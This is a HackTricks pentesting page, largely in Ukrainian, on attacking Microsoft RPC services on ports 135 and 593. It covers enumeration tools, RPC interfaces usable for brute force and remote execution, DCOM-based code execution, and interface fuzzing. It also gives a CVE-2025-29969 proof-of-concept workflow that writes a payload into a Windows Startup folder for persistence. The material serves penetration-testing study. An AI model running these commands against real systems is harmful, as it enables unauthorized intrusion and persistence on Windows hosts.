135, 593 - Pentesting MSRPC
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Протокол Microsoft Remote Procedure Call (MSRPC) — клієнт-серверна модель, що дозволяє програмі запитувати послугу у програми, розташованої на іншому комп’ютері, не вдаючись у подробиці мережі; спочатку він походив із програмного забезпечення з відкритим кодом, а згодом був розроблений і захищений авторським правом Microsoft.
RPC endpoint mapper доступний через TCP та UDP порт 135, SMB на TCP 139 і 445 (with a null or authenticated session), а також як веб-служба на TCP порті 593.
135/tcp open msrpc Microsoft Windows RPC
Як працює MSRPC?
Ініційований клієнтським застосунком, процес MSRPC включає виклик локальної stub-процедури, яка взаємодіє з бібліотекою виконання клієнта для підготовки та передачі запиту на сервер. Це включає перетворення параметрів у стандартний формат Network Data Representation. Вибір транспортного протоколу визначається бібліотекою виконання, якщо сервер знаходиться віддалено, що забезпечує доставку RPC через мережевий стек.

Виявлення відкритих RPC-сервісів
Експозицію RPC-сервісів через TCP, UDP, HTTP та SMB можна визначити шляхом опитування служби RPC locator та окремих кінцевих точок. Інструменти, такі як rpcdump, полегшують ідентифікацію унікальних RPC-сервісів, позначених IFID значеннями, розкриваючи деталі сервісу та прив’язки комунікації:
D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]
Доступ до служби локатора RPC забезпечується через певні протоколи: ncacn_ip_tcp і ncadg_ip_udp для доступу через порт 135, ncacn_np для SMB-з’єднань, а також ncacn_http для веб‑RPC-зв’язку. Наведені нижче команди ілюструють використання Metasploit-модулів для аудиту та взаємодії з MSRPC-сервісами, зосереджуючись переважно на порту 135:
use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135
Усі опції, окрім tcp_dcerpc_auditor, спеціально розроблені для націлювання MSRPC на порт 135.
Notable RPC interfaces
- IFID: 12345778-1234-abcd-ef00-0123456789ab
- Named Pipe:
\pipe\lsarpc - Description: Інтерфейс LSA, використовується для перерахування користувачів.
- IFID: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
- Named Pipe:
\pipe\lsarpc - Description: Інтерфейс LSA Directory Services (DS), використовується для перерахування доменів та довірчих відносин.
- IFID: 12345778-1234-abcd-ef00-0123456789ac
- Named Pipe:
\pipe\samr - Description: Інтерфейс LSA SAMR, використовується для доступу до публічних елементів бази SAM (наприклад, імена користувачів) та для brute-force підбору паролів користувачів незалежно від політики блокування облікового запису.
- IFID: 1ff70682-0a51-30e8-076d-740be8cee98b
- Named Pipe:
\pipe\atsvc - Description: Task scheduler, використовується для віддаленого виконання команд.
- IFID: 338cd001-2244-31f1-aaaa-900038001003
- Named Pipe:
\pipe\winreg - Description: Remote registry service, використовується для доступу та зміни системного реєстру.
- IFID: 367abb81-9844-35f1-ad32-98f038001003
- Named Pipe:
\pipe\svcctl - Description: Service control manager and server services, використовується для віддаленого запуску та зупинки сервісів і виконання команд.
- IFID: 4b324fc8-1670-01d3-1278-5a47bf6ee188
- Named Pipe:
\pipe\srvsvc - Description: Service control manager and server services, використовується для віддаленого запуску та зупинки сервісів і виконання команд.
- IFID: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
- Named Pipe:
\pipe\epmapper - Description: DCOM interface, використовується для brute-force підбору паролів і збору інформації через WM.
MS-EVEN (EventLog Remoting) primitives
The MS-EVEN RPC interface (named pipe \pipe\even) exposes Eventlog operations. SafeBreach’s CVE-2025-29969 (EventLog-in) analysis shows a TOCTOU flaw in MS-EVEN that lets an authenticated low-privileged user trigger a remote arbitrary file write on the target: attacker-chosen content written to an attacker-chosen path without needing Administrator rights for the remote write.
Operational pattern (PoC workflow): stage a valid EVTX plus your payload on an SMB share, then race the MS-EVEN logic so the target fetches the SMB-hosted file and writes it to the chosen path.
impacket-smbserver -smb2support Share /tmp/safebreach
Опублікований PoC використовує hard-coded SMB share name (Share), тому, якщо ви зміните її, вам також потрібно оновити скрипт.
python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123 "/tmp/safebreach/Sample.evtx" "calc.bat" "C:\Users\lowuser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\target.bat"
Поширеним ланцюжком є розмістити у per-user Startup folder для persistence та виконання при наступному вході в систему (виконання відбувається в контексті цього користувача).
MS-EVEN CreateFile-style primitive for recon
MS-EVEN також надає примітив відкриття/створення файлу (описаний у PoC як CreateFile), який може використовувати будь-який автентифікований користувач для перевірки, чи існує віддалений файл або каталог. Це корисно для виявлення ПО шляхом перевірки типових шляхів встановлення (наприклад, C:\Program Files\<Vendor>):
python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"
Result:
FILE_EXISTS_AND_IS_DIRECTORY
Визначення IP-адрес
Використовуючи https://github.com/mubix/IOXIDResolver, який походить із Airbus research, можна зловживати методом ServerAlive2 всередині інтерфейсу IOXIDResolver.
Цей метод використовували для отримання інформації про інтерфейс у вигляді IPv6 адреси з HTB боксу APT. Див. here для 0xdf APT writeup — він містить альтернативний метод із використанням rpcmap.py з Impacket з stringbinding (див. вище).
Виконання RCE за наявності дійсних облікових даних
Можливо виконати віддалений код на машині, якщо доступні облікові дані дійсного користувача, використовуючи dcomexec.py з impacket framework.
Пам’ятайте спробувати з різними доступними об’єктами
- ShellWindows
- ShellBrowserWindow
- MMC20
Порт 593
rpcdump.exe з rpctools може взаємодіяти з цим портом.
Автоматизований Fuzzing MSRPC інтерфейсів
MS-RPC інтерфейси відкривають велику і часто недокументовану поверхню атаки. Open-source PowerShell модуль MS-RPC-Fuzzer базується на James Forshaw’s NtObjectManager, щоб динамічно створювати RPC клієнтські заглушки з метаданих інтерфейсу, які вже присутні в бінарниках Windows. Коли заглушка існує, модуль може навантажувати кожну процедуру зміненими вхідними даними та логувати результат, що робить відтворюваний, масштабний fuzzing RPC endpoints можливим без написання жодного рядка IDL.
1. Інвентаризація інтерфейсів
# Import the module (download / git clone first)
Import-Module .\MS-RPC-Fuzzer.psm1
# Parse a single binary
Get-RpcServerData -Target "C:\Windows\System32\efssvc.dll" -OutPath .\output
# Or crawl the whole %SystemRoot%\System32 directory
Get-RpcServerData -OutPath .\output
Get-RpcServerData витягне UUID, версію, binding strings (named-pipe / TCP / HTTP) та повні прототипи процедур для кожного інтерфейсу, який він зустріне, і збереже їх у rpcServerData.json.
2. Запустіть fuzzer
'.\output\rpcServerData.json' |
Invoke-RpcFuzzer -OutPath .\output `
-MinStrLen 100 -MaxStrLen 1000 `
-MinIntSize 9999 -MaxIntSize 99999
Relevant options:
-MinStrLen/-MaxStrLen– діапазон довжини для генерованих рядків-MinIntSize/-MaxIntSize– діапазон значень для мутованих цілих чисел (корисно для тестування на переповнення)-Sorted– виконувати процедури в порядку, що враховує залежності параметрів, щоб вихідні дані одного виклику могли слугувати вхідними для наступного (значно збільшує кількість досяжних шляхів)
The fuzzer implements 2 strategies:
- Default fuzzer – випадкові примітивні значення + стандартні екземпляри для складних типів
- Sorted fuzzer – сортування з урахуванням залежностей (див.
docs/Procedure dependency design.md)
Кожен виклик атомарно записується у log.txt; після аварії остання стрічка одразу вказує на проблемну процедуру. Результат кожного виклику також класифікується у три JSON-файли:
allowed.json– виклик успішний і повернув даніdenied.json– сервер відповів Access Deniederror.json– будь-яка інша помилка / аварія
3. Візуалізація з Neo4j
'.\output\allowed.json' |
Import-DataToNeo4j -Neo4jHost 192.168.56.10:7474 -Neo4jUsername neo4j
Import-DataToNeo4j перетворює JSON-артефакти у графову структуру, де:
- RPC-сервери, інтерфейси та процедури — це вузли
- Взаємодії (
ALLOWED,DENIED,ERROR) — це зв’язки
Потім можна використовувати Cypher-запити, щоб швидко виявляти небезпечні процедури або відтворювати точний ланцюжок викликів, який передував збою.
⚠️ Цей fuzzer є деструктивним: очікуйте збоїв сервісів і навіть BSODs – завжди запускайте його в ізольованому VM snapshot.
Автоматизоване перерахування інтерфейсів та динамічна генерація клієнтів (NtObjectManager)
PowerShell-гуру James Forshaw розкрив більшість внутрішніх механізмів Windows RPC у відкритому модулі NtObjectManager. За його допомогою ви можете перетворити будь-який RPC server DLL / EXE у fully-featured client stub за лічені секунди – без IDL, MIDL або ручного unmarshalling.
# Install the module once
Install-Module NtObjectManager -Force
# Parse every RPC interface exported by the target binary
$rpcinterfaces = Get-RpcServer "C:\Windows\System32\efssvc.dll"
$rpcinterfaces | Format-Table Name,Uuid,Version,Procedures
# Inspect a single procedure (opnum 0)
$rpcinterfaces[0].Procedures[0] | Format-List *
Типовий вивід показує типи параметрів точно так, як вони з’являються в MIDL (наприклад FC_C_WSTRING, FC_LONG, FC_BIND_CONTEXT).
Після того як ви знаєте інтерфейс, ви можете згенерувати готовий до компіляції C# клієнт:
# Reverse the MS-EFSR (EfsRpc*) interface into C#
Format-RpcClient $rpcinterfaces[0] -Namespace MS_EFSR -OutputPath .\MS_EFSR.cs
У згенерованому stub ви знайдете методи, такі як:
public int EfsRpcOpenFileRaw(out Marshal.NdrContextHandle ctx, string FileName, int Flags) {
// marshals parameters & calls opnum 0
}
Допоміжна команда PowerShell Get-RpcClient може створити інтерактивний об’єкт клієнта, щоб ви могли одразу викликати процедуру:
$client = Get-RpcClient $rpcinterfaces[0]
Connect-RpcClient $client -stringbinding 'ncacn_np:127.0.0.1[\\pipe\\efsrpc]' `
-AuthenticationLevel PacketPrivacy `
-AuthenticationType WinNT # NTLM auth
# Invoke the procedure → returns an authenticated context handle
$ctx = New-Object Marshal.NdrContextHandle
$client.EfsRpcOpenFileRaw([ref]$ctx, "\\\127.0.0.1\test", 0)
Аутентифікація (Kerberos / NTLM) та рівні шифрування (PacketIntegrity, PacketPrivacy, …) можуть бути передані безпосередньо через cmdlet Connect-RpcClient — ідеально для bypassing Security Descriptors, які захищають високопривілейовані named pipes.
Контекстно-орієнтований RPC Fuzzing (MS-RPC-Fuzzer)
Статичні знання інтерфейсу — добре, але насправді потрібен coverage-guided fuzzing, який розуміє context handles та складні ланцюги параметрів. Відкритий проект MS-RPC-Fuzzer автоматизує саме цей робочий процес:
- Перелічити кожен інтерфейс/процедуру, експортовані цільовим бінаром (
Get-RpcServer). - Згенерувати динамічні клієнти для кожного інтерфейсу (
Format-RpcClient). - Рандомізувати вхідні параметри (wide strings length, integer ranges, enums), дотримуючись оригінального NDR type.
- Відстежувати context handles, що повертаються одним викликом, щоб автоматично передавати їх у наступні процедури.
- Відправляти великий обсяг викликів до обраного транспорту (ALPC, TCP, HTTP or named pipe).
- Логувати exit statuses / faults / timeouts та експортувати файл імпорту для Neo4j для візуалізації відношень interface → procedure → parameter і кластерів аварій.
Приклад запуску (named–pipe target):
Invoke-MSRPCFuzzer -Pipe "\\.\pipe\efsrpc" -Auth NTLM `
-MinLen 1 -MaxLen 0x400 `
-Iterations 100000 `
-OutDir .\results
A single out-of-bounds write or unexpected exception will be surfaced immediately with the exact opnum + fuzzed payload that triggered it – perfect starting point for a stable proof-of-concept exploit.
⚠️ Багато RPC-сервісів виконуються в процесах під NT AUTHORITY\SYSTEM. Будь-яка проблема безпеки пам’яті тут зазвичай перетворюється на local privilege escalation або (коли відкрито через SMB/135) remote code execution.
Джерела
- EventLogin-CVE-2025-29969 (SafeBreach-Labs)
- EventLog-in: Propagating With Weak Credentials Using the Eventlog Service in Microsoft Windows
- Automating MS-RPC vulnerability research (2025, Incendium.rocks)
- MS-RPC-Fuzzer – context-aware RPC fuzzer
- NtObjectManager PowerShell module
- https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
- https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/
- https://0xffsec.com/handbook/services/msrpc/
- MS-RPC-Fuzzer (GitHub)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


